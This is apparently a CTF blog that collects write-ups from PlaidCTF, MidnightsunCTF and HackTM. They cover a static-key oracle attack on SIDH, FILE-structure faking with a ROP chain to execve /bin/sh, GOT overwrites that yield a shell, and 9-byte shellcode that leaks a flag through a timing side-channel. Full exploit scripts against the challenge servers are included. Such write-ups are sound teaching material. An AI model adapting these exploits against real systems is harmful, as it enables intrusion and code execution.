• PlaidCTF 2020 - sidhe

    SIDHE

    Sidhe was a post-quatum crypto task of this year’s PlaidCTF.

    The Vulnerable Server

    We’re given network access to a server and it’s source code:

    import hashlib
    from Crypto.Cipher import AES
    import sys
    assert(sys.version_info.major >= 3)
    
    # SIDH parameters from SIKEp434
    # using built-in weierstrass curves instead of montgomery curves because i'm lazy
    e2 = 0xD8
    e3 = 0x89
    p = (2^e2)*(3^e3)-1
    K.<ii> = GF(p^2, modulus=x^2+1)
    E = EllipticCurve(K, [0,6,0,1,0])
    xP20 = 0x00003CCFC5E1F050030363E6920A0F7A4C6C71E63DE63A0E6475AF621995705F7C84500CB2BB61E950E19EAB8661D25C4A50ED279646CB48
    xP21 = 0x0001AD1C1CAE7840EDDA6D8A924520F60E573D3B9DFAC6D189941CB22326D284A8816CC4249410FE80D68047D823C97D705246F869E3EA50
    yP20 = 0x0001AB066B84949582E3F66688452B9255E72A017C45B148D719D9A63CDB7BE6F48C812E33B68161D5AB3A0A36906F04A6A6957E6F4FB2E0
    yP21 = 0x0000FD87F67EA576CE97FF65BF9F4F7688C4C752DCE9F8BD2B36AD66E04249AAF8337C01E6E4E1A844267BA1A1887B433729E1DD90C7DD2F
    xQ20 = 0x0000C7461738340EFCF09CE388F666EB38F7F3AFD42DC0B664D9F461F31AA2EDC6B4AB71BD42F4D7C058E13F64B237EF7DDD2ABC0DEB0C6C
    xQ21 = 0x000025DE37157F50D75D320DD0682AB4A67E471586FBC2D31AA32E6957FA2B2614C4CD40A1E27283EAAF4272AE517847197432E2D61C85F5
    yQ20 = 0x0001D407B70B01E4AEE172EDF491F4EF32144F03F5E054CEF9FDE5A35EFA3642A11817905ED0D4F193F31124264924A5F64EFE14B6EC97E5
    yQ21 = 0x0000E7DEC8C32F50A4E735A839DCDB89FE0763A184C525F7B7D0EBC0E84E9D83E9AC53A572A25D19E1464B509D97272AE761657B4765B3D6
    xP30 = 0x00008664865EA7D816F03B31E223C26D406A2C6CD0C3D667466056AAE85895EC37368BFC009DFAFCB3D97E639F65E9E45F46573B0637B7A9
    xP31 = 0x00000000
    yP30 = 0x00006AE515593E73976091978DFBD70BDA0DD6BCAEEBFDD4FB1E748DDD9ED3FDCF679726C67A3B2CC12B39805B32B612E058A4280764443B
    yP31 = 0x00000000
    xQ30 = 0x00012E84D7652558E694BF84C1FBDAAF99B83B4266C32EC65B10457BCAF94C63EB063681E8B1E7398C0B241C19B9665FDB9E1406DA3D3846
    xQ31 = 0x00000000
    yQ30 = 0x00000000
    yQ31 = 0x0000EBAAA6C731271673BEECE467FD5ED9CC29AB564BDED7BDEAA86DD1E0FDDF399EDCC9B49C829EF53C7D7A35C3A0745D73C424FB4A5FD2
    P2 = E(xP20+ii*xP21, yP20+ii*yP21)
    Q2 = E(xQ20+ii*xQ21, yQ20+ii*yQ21)
    P3 = E(xP30+ii*xP31, yP30+ii*yP31)
    Q3 = E(xQ30+ii*xQ31, yQ30+ii*yQ31)
    
    def elem_to_coefficients(x):
        l = x.polynomial().list()
        l += [0]*(2-len(l))
        return l
    
    def elem_to_bytes(x):
        n = ceil(log(p,2)/8)
        x0,x1 = elem_to_coefficients(x) # x == x0 + ii*x1
        x0 = ZZ(x0).digits(256, padto=n)
        x1 = ZZ(x1).digits(256, padto=n)
        return bytes(x0+x1)
    
    def isogen3(sk3):
        Ei = E
        P = P2
        Q = Q2
        S = P3+sk3*Q3
        for i in range(e3):
            # Give generator of subgroup
            phi = Ei.isogeny((3^(e3-i-1))*S)
            # Ei = target curve of isogeny
            Ei = phi.codomain()
            # points on target curve
            S = phi(S)
            P = phi(P)
            Q = phi(Q)
        return (Ei,P,Q)
    
    def isoex3(sk3, pk2):
        Ei, P, Q = pk2
        S = P+sk3*Q
        for i in range(e3):
            R = (3^(e3-i-1))*S
            phi = Ei.isogeny(R)
            Ei = phi.codomain()
            S = phi(S)
        return Ei.j_invariant()
    
    def recv_K_elem(prompt):
        print(prompt)
        re = ZZ(input("  re: "))
        im = ZZ(input("  im: "))
        return K(re + ii*im)
    
    supersingular_cache = set()
    def is_supersingular(Ei):
        a = Ei.a_invariants()
        if a in supersingular_cache:
            return True
        result = Ei.is_supersingular(proof=False)
        if result:
            supersingular_cache.add(a)
        return result
    
    def recv_and_validate_pk2():
        print("input your public key:")
        a1 = recv_K_elem("a1: ")
        a2 = recv_K_elem("a2: ")
        a3 = recv_K_elem("a3: ")
        a4 = recv_K_elem("a4: ")
        a6 = recv_K_elem("a6: ")
        Ei = EllipticCurve(K, [a1,a2,a3,a4,a6])
        assert(is_supersingular(Ei))
        Px = recv_K_elem("Px: ")
        Py = recv_K_elem("Py: ")
        P = Ei(Px, Py)
        Qx = recv_K_elem("Qx: ")
        Qy = recv_K_elem("Qy: ")
        Q = Ei(Qx, Qy)
        assert(P*(3^e3) == Ei(0) and P*(3^(e3-1)) != Ei(0))
        assert(Q*(3^e3) == Ei(0) and Q*(3^(e3-1)) != Ei(0))
        assert(P.weil_pairing(Q, 3^e3) == (P3.weil_pairing(Q3, 3^e3))^(2^e2))
        return (Ei, P, Q)
    
    def main():
        sk3 = randint(1,3^e3-1)
        pk3 = isogen3(sk3)
        print("public key:")
        print("a1:", elem_to_coefficients(pk3[0].a1()))
        print("a2:", elem_to_coefficients(pk3[0].a2()))
        print("a3:", elem_to_coefficients(pk3[0].a3()))
        print("a4:", elem_to_coefficients(pk3[0].a4()))
        print("a6:", elem_to_coefficients(pk3[0].a6()))
        print("Px:", elem_to_coefficients(pk3[1][0]))
        print("Py:", elem_to_coefficients(pk3[1][1]))
        print("Qx:", elem_to_coefficients(pk3[2][0]))
        print("Qy:", elem_to_coefficients(pk3[2][1]))
        super_secret_hash = hashlib.sha256(str(sk3).encode('ascii')).digest()[:16]
    
        for _ in range(300):
            try:
                # SIDH key exchange
                pk2 = recv_and_validate_pk2()
                shared = isoex3(sk3, pk2)
                key = hashlib.sha256(elem_to_bytes(shared)).digest()
                # test shared key
                cipher = AES.new(key, AES.MODE_ECB)
                ciphertext = input("ciphertext: ")
                plaintext = cipher.decrypt(bytes.fromhex(ciphertext))
                if plaintext == super_secret_hash:
                    print("How did you find my secret? Here, have a flag:")
                    with open("flag.txt","r") as f:
                        print(f.read())
                    return
                elif plaintext == b"Hello world.\x00\x00\x00\x00":
                    print("Good ciphertext.")
                else:
                    print("Bad ciphertext!")
            except:
                print("Validation error!")
                return
    
    if __name__ == '__main__':
        main()
    

    This code implements a Supersingular isogeny Diffie–Hellman key exchange (SIDH), specifically the De Feo, Jao, and Plut Scheme. This is a post-quantum key exchange mechanism based on graphs of isogenies ϕ\phi (the edges) between supersingular elliptic curves EE (the vertices). The goal here is to recover the private key of the server.

    The code reuses the private key portion sk3 up to 300 times. Also, it offers an oracle to determine if a shared key is valid, by decrypting a user suplied ciphertext. It also includes validation logic using the Weil pairing assert(P.weil_pairing(Q, 3^e3) == (P3.weil_pairing(Q3, 3^e3))^(2^e2)) to check independece of the supplied points by verfying their order.

    In this scheme, Alice chooses a large random number α\alpha as private key. Then she calculates an isogeny ϕa\phi_a from this number and two predefined points PAP_A, PBP_B in the E[2n]E[2^n] torsion group of the scheme’s supersingular elliptic curve EE. She then sends the parameters (EA=ϕA(E),ϕA(PB),ϕA(QB))(E_A = \phi_A(E), \phi_A(P_B), \phi_A(Q_B)) to Bob. Bob does essentially the same calculation, but in E[3n]E[3^n]. Once Alice receives Bob’s parameters (EB=ϕB(E),ϕB(PA),ϕB(QA))(E_B = \phi_B(E), \phi_B(P_A), \phi_B(Q_A)), she can calculate the isogeny from EBE_B by using her private key ϕB(PA)+αϕB(QA)\phi_B(P_A) + \alpha \phi_B(Q_A).

    The scheme is illustrated in this graph (taken from the original publication):

    SIDH

    Static SIDH Attack

    Reusing private keys in Diffie Hellman is a common use case, called static DH. With SIDH however, it is a very bad idea to use non-ephemeral keys. Since we have an oracle that tells us if a shared key is correct or not, we can employ an adaptive attack to recover the private key bit-by-bit (or actually trit-by-trit here).

    As you can see in the code, the j-invariant is used as the shared key return Ei.j_invariant(). That is because the scheme guarantees that both parties end up on isomprphic curves, but not neccessarily on the same curve. The trick behind this attack is to calculate a legitimate isogeny giving (EB=ϕB(E),R=ϕB(PA),S=ϕB(QA))(E_B = \phi_B(E), R=\phi_B(P_A), S=\phi_B(Q_A)) and doing the key exchange as Bob. Now we received a shared key in the form of a j-invariant of the agreed upon curve isomphism class. To recover the first bit of Alice’s private key we’ll then supply the values (EB=ϕB(E),R,S+2n1R)(E_B = \phi_B(E), R, S+2^{n-1}R). Alice (the server) will now compute R+α(S+2n1R)R + \alpha (S+2^{n-1}R) and calculate a shared key based on the result. Since RR has order 2n2^n, it holds that α(S+2n1R)=S\alpha (S+2^{n-1}R) = S iff α\alpha is even, because then:

    αS+α222n1R=αS+α22nR=αS+α20=αS\alpha S + \frac{\alpha}{2} \cdot 2 \cdot 2^{n-1}R = \alpha S + \frac{\alpha}{2} \cdot 2^{n}R = \alpha S+ \frac{\alpha}{2} \cdot 0 = \alpha S

    So only if alpha is even, the shared key will be equal to the original (legitimate) one. Because of this, we just recovered the lowest bit of Alice’s private key. With the same trick we can recover all bits of the private key. For mathematical background information of the attack see this paper on insecurities of SIDH. To bypass the check via Weil pairing we need to include a scaling factor θ\theta. However, that is not possible for the highest bits. We therefore have to brute force a hand-ful of bits offline, which is not a problem.

    Exploit

    The given server code does the computation on E[3n]E[3^n], so it is actually playing Bob not Alice. However, the Static SIDH attack works exactly the same. The only difference is that we view the server key in trits instead of bits: α=α0+α131++αi3i\alpha= \alpha_0 + \alpha_1\cdot3^1 + \ldots + \alpha_i\cdot3^i. Since a trit can have three possible values instead of two, we need to query the oracle more often per ‘position’. An that’s all!

    A full exploit script (by manf since he was faster than me :/) can be found here.

  • MidnightsunCTF Quals 2020 - pwn6

    A static, no PIE, canary, AMD64 Binary, intended for pwny racing. Solved by faking glibc’s stdin/out FILE structures and writing a ROPchain into stack memory.

    Download

    Challenge Overview

    At it’s core, the challenge looked like this in pseudo-decompiled-C. We can swap a single bit at an arbitrary address.

    static volatile int loop;
    while (loop < 1) {
        unsigned char* addr;
        unsigned int bitidx;
        printf("addr:");
        fscanf(stdin, "%p:%u", &addr, &bitidx);
        if (bitidx > 7)
            break;
        *addr ^= (1 << bitidx);
        loop++;
    }
    

    Unlimited Swaps

    First, define some helper functions to swap a bit, write a byte and a bytestring to some (previously null) memory. To get an unlimited amount of swaps, we overwrite the sign bit of the loop variable. As it is declared as volatile, it is reloaded on the next compare and loop < 1 holds true.

    def swapbitat(addr, bit):
        r.sendlineafter('addr:', '{}:{}'.format(hex(addr), bit))
    
    
    def writebyte(addr, value):
        for idx in range(8):
            if (1 << idx) & value:
                swapbitat(addr, idx)
    
    
    def writeto(addr, buf):
        for i in range(len(buf)):
            writebyte(addr + i, ord(buf[i]))
    
    swapbitat(0x6D7333, 7)
    

    Leaking A Stack Pointer

    stdin, stdout and stderr in C are pointers to some FILE struct. FILE is a typedef for _IO_FILE, which is defined in struct_FILE.h. Besides holding a fileno (i.e. stdin = 0, stdout = 1, …), glibcs implementation does a lot of buffering on files as well (see the setvbuf kind of functions). There are slides of Angelboy available, which do descibe the thechiques I used in detail: e.g. https://gsec.hitb.org/materials/sg2018/WHITEPAPERS/FILE%20Structures%20-%20Another%20Binary%20Exploitation%20Technique%20-%20An-Jie%20Yang.pdf

    tl;dr, by messing with _IO_write_base, _IO_write_ptr and _IO_read_end of _IO_FILE we can get arbitrary read. The following C snippet shows this behaviour:

    static char leakme[] = {'a', 'b', 'c', 'd'};
    puts("test");
    stdout->_IO_write_base = leakme;
    stdout->_IO_write_ptr = &leakme[4];
    stdout->_IO_read_end = stdout->_IO_write_base;
    puts("test");
    

    Output:

    test
    testabcd
    

    However, we can’t just overwrite the existing structure bit-by-bit, we would access corrupt pointers as stdin/out is accessed on every iteration of the loop. To solve this problem we swap a single bit inside of the stdout pointer (which is placed inside rw memory as well), so it points to some unused, zeroed out, rw space. Before we perform this “atomic stdout structure” swap of course we place a faked structure at this address.

    def fakestdout(a, b):
        return struct.pack('<28Q',
                           0x00000000fbad0800,
                           0x00000000006d53e3,
                           a,
                           0x00000000006d53e3,
                           a,
                           b,
                           0x00000000006d53e3,
                           0x00000000006d53e3,
                           0x00000000006d53e4,
                           0, 0, 0, 0, 0,
                           1,
                           0, 0,
                           0x00000000006d7d30,
                           0, 0, 0, 0, 0, 0, 0, 0, 0,
                           0x00000000006d6fe0)
    
    writeto(0x006d7360, fakestdout(0x006d7da8, 0x006d7db0))
    swapbitat(0x006d57a1, 5)
    r.recvn(4)
    stack = struct.unpack('<Q', r.recvn(8))[0]
    print('stack at 0x{:x}'.format(stack))
    swapbitat(0x006d57a1, 5)
    

    We get some stack address leaked in return, and immediately change back stdout to the original struct by swapping the same bit again.

    Constructing A ROPchain

    This part is easy, I used ROPgadget’s automatic ropchain generation feature ROPgadget.py --ropchain --binary pwn6. For some reason it doesn’t make use of a pop rax; ret; gadget for the syscall id, did it myself so it looks nicer.

    Arbitrary Write

    Now we need to write our ropchain onto the stack. To get an arbitrary write we use the same technique we already used for leaking. This time we fake a stdin structure and let the “read buffer” point onto the stack by modifying _IO_buf_base and _IO_buf_end. As a result any stdlib call reading from stdin will “buffer” input wherever we want to.

    To leave the loop, we send “000000:8” to trigger the break and start the ropchain. The many zeros are only placed there so it is a nice 8Bytes size.

    Final Sploit

    from pwn import *
    from struct import pack
    
    r = remote('pwn6-01.play.midnightsunctf.se', 10006)
    
    
    def swapbitat(addr, bit):
        r.sendlineafter('addr:', '{}:{}'.format(hex(addr), bit))
    
    
    def writebyte(addr, value):
        for idx in range(8):
            if (1 << idx) & value:
                swapbitat(addr, idx)
    
    
    def writeto(addr, buf):
        for i in range(len(buf)):
            writebyte(addr + i, ord(buf[i]))
    
    
    def fakestdout(a, b):
        return struct.pack('<28Q',
                           0x00000000fbad0800,
                           0x00000000006d53e3,
                           a,
                           0x00000000006d53e3,
                           a,
                           b,
                           0x00000000006d53e3,
                           0x00000000006d53e3,
                           0x00000000006d53e4,
                           0, 0, 0, 0, 0,
                           1,
                           0, 0,
                           0x00000000006d7d30,
                           0, 0, 0, 0, 0, 0, 0, 0, 0,
                           0x00000000006d6fe0)
    
    
    def fakestdin(a, b):
        return struct.pack('<28Q',
                           0x00000000fbad208b,
                           0x00000000006d5603,
                           0x00000000006d5603,
                           0x00000000006d5603,
                           0x00000000006d5603,
                           0x00000000006d5603,
                           0x00000000006d5603,
                           a,
                           b,
                           0, 0, 0, 0, 0,
                           0,
                           0, 0,
                           0x00000000006d7d40,
                           0, 0, 0, 0, 0, 0, 0, 0, 0,
                           0x00000000006d6fe0)
    
    
    def rop():
        p = pack('<Q', 0x00449b46) * 0x10  # ret
        p += pack('<Q', 0x0000000000410433)  # pop rsi ; ret
        p += pack('<Q', 0x00000000006d50e0)  # @ .data
        p += pack('<Q', 0x00000000004158a4)  # pop rax ; ret
        p += '/bin//sh'
        p += pack('<Q', 0x0000000000487b51)  # mov qword ptr [rsi], rax ; ret
        p += pack('<Q', 0x0000000000410433)  # pop rsi ; ret
        p += pack('<Q', 0x00000000006d50e8)  # @ .data + 8
        p += pack('<Q', 0x0000000000444e00)  # xor rax, rax ; ret
        p += pack('<Q', 0x0000000000487b51)  # mov qword ptr [rsi], rax ; ret
        p += pack('<Q', 0x00000000004006a6)  # pop rdi ; ret
        p += pack('<Q', 0x00000000006d50e0)  # @ .data
        p += pack('<Q', 0x0000000000410433)  # pop rsi ; ret
        p += pack('<Q', 0x00000000006d50e8)  # @ .data + 8
        p += pack('<Q', 0x0000000000449af5)  # pop rdx ; ret
        p += pack('<Q', 0x00000000006d50e8)  # @ .data + 8
        p += pack('<Q', 0x00000000004158a4)  # pop rax
        p += pack('<Q', 59)
        p += pack('<Q', 0x000000000040130c)  # syscall
        return p
    
    
    def sploit():
        # unlimited swaps
        swapbitat(0x6D7333, 7)
    
        # create fake file struct to leak a stack ptr
        writeto(0x006d7360, fakestdout(0x006d7da8, 0x006d7db0))
    
        # detour & restore stdout to/from fake file struct
        swapbitat(0x006d57a1, 5)
        r.recvn(4)
        stack = struct.unpack('<Q', r.recvn(8))[0]
        print('stack at 0x{:x}'.format(stack))
        swapbitat(0x006d57a1, 5)
    
        # create fake file struct to smash the stack
        writeto(0x6d7580, fakestdin(stack - 0x138, stack + len(rop())))
        swapbitat(0x006d57a9, 5)
        r.sendlineafter('addr:', '000000:8' + rop())
    
        r.interactive()
    
    
    if __name__ == '__main__':
        sploit()
    
  • HackTM - Think twice before speaking once

    A “kind of” blind pwning challenge, non-pic binary was provided (but not unusable out of the box because of some linker foo?).

    Download

    user@KARCH ~ % nc 138.68.67.161 20004
     [*] Wise man said: 'Think twice before speaking once'
     [1] Think
     [2] Speak
     [3] Give Up
     >1
     [#] Enter Where: 4194304
    [ 
    ELF ]
     [1] Think
     [2] Speak
     [3] Give Up
     >3
    

    The basic functionality was, that one could leak memory as often as he wants. But a 8 byte-write is allowed only once.

    Resolving Functions

    Let’s start with leaking everything we need. First of all we obtain a pointer into libc by leaking from our own GOT. Then we can let pwntools DynELF do the rest of the work. Done.

    libcptr = struct.unpack('<Q', leakat(0x00601018))[0] - 0x69000
    d = DynELF(leakat, libcptr)
    d.lookup('system')
    

    Unlimited Write

    In the next step I crafted some unlimited writing primite. If we look at the implementation of the leaking functionality we can see that it is implemented using a write(stdout, myaddr, 8).

    sym.imp.printf(" [#] Enter Where: ");
    sym.imp.fflush(_reloc.stdout);
    sym.imp.__isoc99_scanf("%lu", &var_10h);
    sym.imp.puts("[ \n");
    sym.imp.write(1, var_10h, 8);
    sym.imp.puts(" ]");
    

    Now, if we overwrite the reloc.write with read, a leak request at myaddr will lead to the execution of read(stdout, myaddr, 8). Even though we are reading from stdout, it is effectively the same as stdin. And by using this we now have unlimited writes.

    RIP & RDI Control

    In a final step I wanted to execute system(“/bin/sh”). For getting RIP control I overwrote reloc.exit with an address of my choice. So exiting gives me RIP control, but RDI is not controllable at all (it is zero because of exit(0)).

    If we look at the initialization routine of the binary we can see three calls to setbuf/setvbuf. And each of them dereferences a pointer from a controllable location (reloc.stdin/out/err) and uses it to call a controllable function with.

    void sym.init_proc(void)
    {
        sym.imp.setvbuf(_reloc.stdin, 0, 2, 0);
        sym.imp.setvbuf(_reloc.stdout, 0, 2, 0);
        sym.imp.setbuf(_reloc.stderr, 0);
        sym.imp.signal(0xe, sym.handler);
        sym.imp.alarm(0x3c);
        return;
    }
    

    closer look in asm:

    0x004008db      488b05be0720.  mov rax, qword [obj.stderr]
    0x004008e2      be00000000     mov esi, 0
    0x004008e7      4889c7         mov rdi, rax
    0x004008ea      e801feffff     call sym.imp.setbuf
    

    The Idea is to overwrite setbuf with system and modify reloc.stderr to be a pointer pointing to /bin/sh. Stderr is never used inside the code, so nothing is going to crash. The /bin/sh string is placed in some unused memory (e.g. just at the end of the reloc section). If we have done this, we can now just call main or init_proc to get a shell. (At least I thought so, it crashed…)

    WTF

    I don’t know what was going on on the remote side, but to me it seemed like the env pointer was wrong? So when doing a system(“/bin/sh”) libc would try to resolve the environment variables, but it got a wrong pointer and it would crash. Anyways, by calling execve directly this doesn’t happen, because we would have to do the job of supplying argv and env pointers. Supplying NULL is fine as well. And as lucky as we are, the second and third arguments are either NULL or some valid pointers. Shell.

    from pwn import *
    
    r = remote('138.68.67.161', 20004)
    
    
    def leakat(addr):
        r.sendlineafter('>', '1')
        r.sendlineafter('Where:', str(addr))
        r.recvuntil('[ \n')
        return r.recvn(8)
    
    
    def writeto(addr, value):
        r.sendlineafter('>', '2')
        r.sendlineafter('Where:', str(addr))
        r.sendlineafter('What: ', str(value))
    
    
    def xwrite(addr, value):
        r.sendlineafter('>', '1')
        r.sendlineafter('Where:', str(addr))
        r.recvuntil('[ \n')
        r.send(struct.pack('<Q', value))
    
    
    def sploit():
        libcptr = struct.unpack('<Q', leakat(0x00601018))[0] - 0x69000
    
        # resolve addresses. Use execve instead of system because of fucked up env ptr?
        d = DynELF(leakat, libcptr)
        addr_execve = d.lookup('execve')
        addr_read = d.lookup('read')
    
        # read is now write for unlimited write.
        writeto(0x00601020, addr_read)
    
        # place /bin/sh in unused mem, let reloc.stderr point there
        xwrite(0x00601100, struct.unpack('<Q', b'/bin/sh\0')[0])
        xwrite(0x006010a0, 0x00601100)
    
        # setbuf is now execve
        xwrite(0x00601028, addr_execve)
    
        # exit is now main
        xwrite(0x00601068, 0x00400930)
    
        # exit to main -> init_proc -> execve("/bin/sh", 0, ?)
        r.sendlineafter('>', '3')
        r.interactive()
    
    
    if __name__ == '__main__':
        sploit()
    
  • HackTM - Papabear

    The challenge generates a mustache based on argv[1] input. Challenge authors supplied us with the target mustache, which we had to match.

    Download

    user@KARCH ~/ctf/papa % ./papa_bear AAAAA
       ______   _______  ______   _______      ______   _______  _______  ______
      (_____ \ (_______)(_____ \ (_______)    (____  \ (_______)(_______)(_____ \
       _____) ) _______  _____) ) _______      ____)  ) _____    _______  _____) )
      |  ____/ |  ___  ||  ____/ |  ___  |    |  __  ( |  ___)  |  ___  ||  __  /
      | |      | |   | || |      | |   | |    | |__)  )| |_____ | |   | || |  \ \
      |_|      |_|   |_||_|      |_|   |_|    |______/ |_______)|_|   |_||_|   |_|
    
                dWMM=-        dWWMWWMMWWMWb  dWMMWWMWWMMWb        -=WMWb
              dWMMP       dWWMWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMb        qMMb
              MMMMb   dMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMb    dMMM
              qMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMP
                QMMMMMMMMMMMMMMMMMMMMMMMMMP  QMMMMMMMMMMMMMMMMMMMMMMMMMMP
                  QMMMMMMMMMMMMMMMMMMMP          QMMMMMMMMMMMMMMMMMMMP
                         QMMMMMMP                         QMMMMMMP
    
    

    Like in babybear, the input transformation into the mustache was linear. So this time I tried to solve it without reversing at all, just by bruteforce.

    Patching

    I tried to run the binary with python subprocess.getoutput aaaand it did not work. (output was always empty) A look with strace on the binary revealed that the output is written to stdin, and not stdout. As there was only one position where the output is written, I just patched the file descriptor from 0 to 1. (r2 -w papa_bear, seek to the write, and patch the rdi assignment to wa mov rdi, 1) Now everything works as expected.

    Bruteforcing

    We now can just guess byte by byte until we match the desired mustache. Sometimes manual intervention is necessary to prevent a path explosion (it seems like the @ symbol can cause recursion).

    import subprocess
    import string
    
    soll = """
    dWWW=- dWWMWWWWWMWMb dMMWWWWWWWWWb -=MMMb
    dWMWP dWWWMWWWMMWMMMWWWWWMMMMMMWMMMWWWMMMb qMWb
    WMWWb dMWWMMMMMMWWWWMMWWWMWWWWWWMMWWWWMWMWMMMWWWWb dMMM
    qMMWMWMMMWMMWWWMWMMMMMMMMWMMMMWWWMMWWMWMWMMWWMWWWWMWWMMWMMWP
    QWWWWWWWMMWWWWWWWMMWWWWMMWP QWWWMWMMMMWWWWWMMWWMWWWWWWMP
    QWMWWWMMWWMWMWWWWMWWP QWWMWWMMMWMWMWWWWMMMP
    QMWWMMMP QMMMMMMP
    """
    
    
    def normalize(data):
        return ''.join(filter(lambda c: c if c in ['W', 'M'] else '', data)).replace('W', '1').replace('M', '0')
    
    
    soll = normalize(soll)
    
    states = ['HackTM{F4th3r bEaR s@y$: Smb']
    while states:
        newstates = []
        for state in states:
            for c in string.digits + string.ascii_letters + string.whitespace + r"""!"#%&'()*+,-./:;<=>?@[\]^_`{|}~""":
                ist = subprocess.getoutput("./papa_bear '{}'".format((state + c).replace("'", "'\\''")))
                ist = ''.join(ist.splitlines()[7:])
                ist = normalize(ist)
                ist = ist[:ist.rfind('1') + 1]
                if soll.startswith(ist):
                    newstates.append(state + c)
        states = newstates
        print(states)
    
  • HackTM - Obey The Rules

    Obey the rules was a simple pwning / shellcoding challenge at HackTM. Loading in r2 we see the following:

    Download

    user@KARCH ~/ctf/rules % r2 obey_the_rules
     -- Press any key to continue ...
    [0x00400a70]> aa
    [x] Analyze all flags starting with sym. and entry0 (aa)
    [0x00400a70]> s main
    [0x00400ce1]> pdg
    
    undefined8 main(void)
    {
        int64_t iVar1;
        int32_t iVar2;
        undefined8 uVar3;
        int64_t in_FS_OFFSET;
        int64_t var_84h;
        int64_t var_78h;
        int64_t var_70h;
        int64_t var_8h;
        
        iVar1 = *(int64_t *)(in_FS_OFFSET + 0x28);
        sym.init_proc();
        sym.imp.memset(&var_70h, 0, 100);
        sym.open_read_file((int64_t)"header.txt", 100, (int64_t)&var_70h);
        sym.imp.puts(&var_70h);
        var_84h._0_4_ = sym.open_read_file((int64_t)"description.txt", 800, (int64_t)obj.description);
        sym.imp.printf("\n    %s\n  ", obj.description);
        sym.imp.puts(" >> Do you Obey? (yes / no)");
        sym.imp.read(0, obj.answer, 0xb);
        var_84h._0_4_ = sym.open_read_file((int64_t)"RULES.txt", 0x96, (int64_t)obj.rules);
        var_84h._4_2_ = (undefined2)((int32_t)var_84h >> 3);
        iVar2 = sym.imp.prctl(0x26, 1, 0, 0, 0);
        if (iVar2 < 0) {
            sym.imp.perror("prctl(PR_SET_NO_NEW_PRIVS)");
        // WARNING: Subroutine does not return
            sym.imp.exit(2);
        }
        iVar2 = sym.imp.prctl(0x16, 2, (int64_t)&var_84h + 4);
        if (iVar2 < 0) {
            sym.imp.perror("prctl(PR_SET_SECCOMP)");
        // WARNING: Subroutine does not return
            sym.imp.exit(2);
        }
        iVar2 = sym.imp.strcmp(obj.answer, "Y");
        if (iVar2 == 0) {
            sym.set_context();
        } else {
            sym.imp.system("/bin/sh");
        }
        uVar3 = 0;
        if (iVar1 != *(int64_t *)(in_FS_OFFSET + 0x28)) {
            uVar3 = sym.imp.__stack_chk_fail();
        }
        return uVar3;
    }
    
    [0x00400ce1]> pdg @sym.set_context
    
    void sym.set_context(void)
    {
        int64_t iVar1;
        int64_t var_8h;
        
        iVar1 = sym.imp.strlen(obj.answer);
        obj.answer[iVar1] = (code)0x59;
        sym.imp.strcpy(_obj.region, obj.answer);
        (*_obj.region)(0x539);
        return;
    }
    [0x00400ce1]> 
    

    First of all, we see that the r2 ghidra plugin is nice for quick decompilation needs. Second, we see what the challenge does:

    • printing some fancy headers
    • reading a maximum of 11 Bytes from stdin
    • loading seccomp rules unknown to us out of a file
    • if the input is “Y\0”, it will jump into our sumbitted input and executes it (the nullybte is replaced by another ‘Y’)
    • else it executes /bin/sh, which is killed due to seccomp

    So after excluding “Y\0” we have a total of 9 bytes left for shellcode.

    Testing for allowed syscalls

    First I checked which syscalls are allowed. If a syscall was forbidden, it would report illegal instruction, else a segmentation fault occurs. As we could not use nullbytes due to the strcpy, i checked the syscall id 0 case manually and used the following code for the other syscalls up to 255:

    xor rax, rax;
    mov al, {nr};
    syscall;
    ud2;
    

    Which compiles down to exactly 9 bytes. The ud2 is optional and should just crash immediately if the syscall succeeded. I found out that the syscalls (0 read, 2 open, 60 exit) are allowed. That’s enough to work with as the flag location was given and even if a write is lacking I could just use some sidechannel to exfiltrate the flag.

    Getting unlimited RCE

    To get unlimited RCE I planned to reread additonal shellcode by using something like read(0, $rip, amount). We need to get:

    • rax = 0
    • rdi = 0
    • rsi = $rip
    • rdx = amount

    The only “trick” I used to save bytes was using push rbx; pop rax; (2 bytes) instead of moving registers with mov rax, rbx; (3 bytes). For getting rax = rdi = 0 I used the fact that register rbx would always be zero, which lead to the following shellcode.

    push rbx;
    push rbx;
    pop rax;
    pop rdi;
    

    To get rsi right in front of our $rip I used the fact that the current top of stack just holds exactly that value.

    pop rsi;
    

    Lastly I wanted to read some bigger amount, so I just wrote 0xff to rdx’s high byte.

    mov dh, 0xff;
    

    Two bytes left for the syscall, we are ready to overwrite the code at $rip :)

    syscall;
    

    Sidechannels and Profit

    For exfiltrating the flag there are two sidechannels which came to my mind.

    • timing based (burn cpu cycles using some loop)
    • blocked syscall based (1/0 oracle by calling a blocked syscall or exit normally)

    I decided to go with the timing one. To speed things up one could implement fancy stuff like a binary search or burn CPU power depending on the currently exfiltrated character with that approach. I did not. So here is the final script stupidly bruteforcing all possibilities. Notice that I open the file twice to increment the fd id. Because the seccomp filter seemed to block read syscalls with fd==3.

    from pwn import *
    import time
    
    context.clear(arch='amd64')
    
    payload1 = asm(
        """
        push rbx;
        push rbx;
        pop rax;
        pop rdi;
        pop rsi;
        mov dh, 0xff;
        syscall;
        """
    )
    assert len(payload1) < 10
    
    payload2 = (
            shellcraft.open('/home/pwn/flag.txt') +
            shellcraft.open('/home/pwn/flag.txt') +
            shellcraft.read(fd='rax', buffer='rsp', count=0x100) +
            'xor rcx, rcx;' +
            'mov al, [rsp + {}];' +
            'cmp al, {};' +
            'jne done;' +
            'mov rcx, 0x3ffffff;' +
            'times:\nloop times;done:;' +
            shellcraft.exit(0)
    )
    
    
    def sploit(r, idx, ch):
        r.send('Y\0' + payload1.ljust(9, '\x90') + '\x90' * 11 + asm(payload2.format(idx, ch)))
    
    
    if __name__ == '__main__':
        flag = ''
    
        while True:
            print(flag)
            for c in string.printable:
                r = remote('138.68.67.161', 20001)
                r.recvuntil('>>')
                sploit(r, len(flag), ord(c))
                a = time.time()
                try:
                    r.recvuntil('yeet')
                except EOFError:
                    pass
                if time.time() - a > 0.8:
                    flag += c
                    break
                r.close()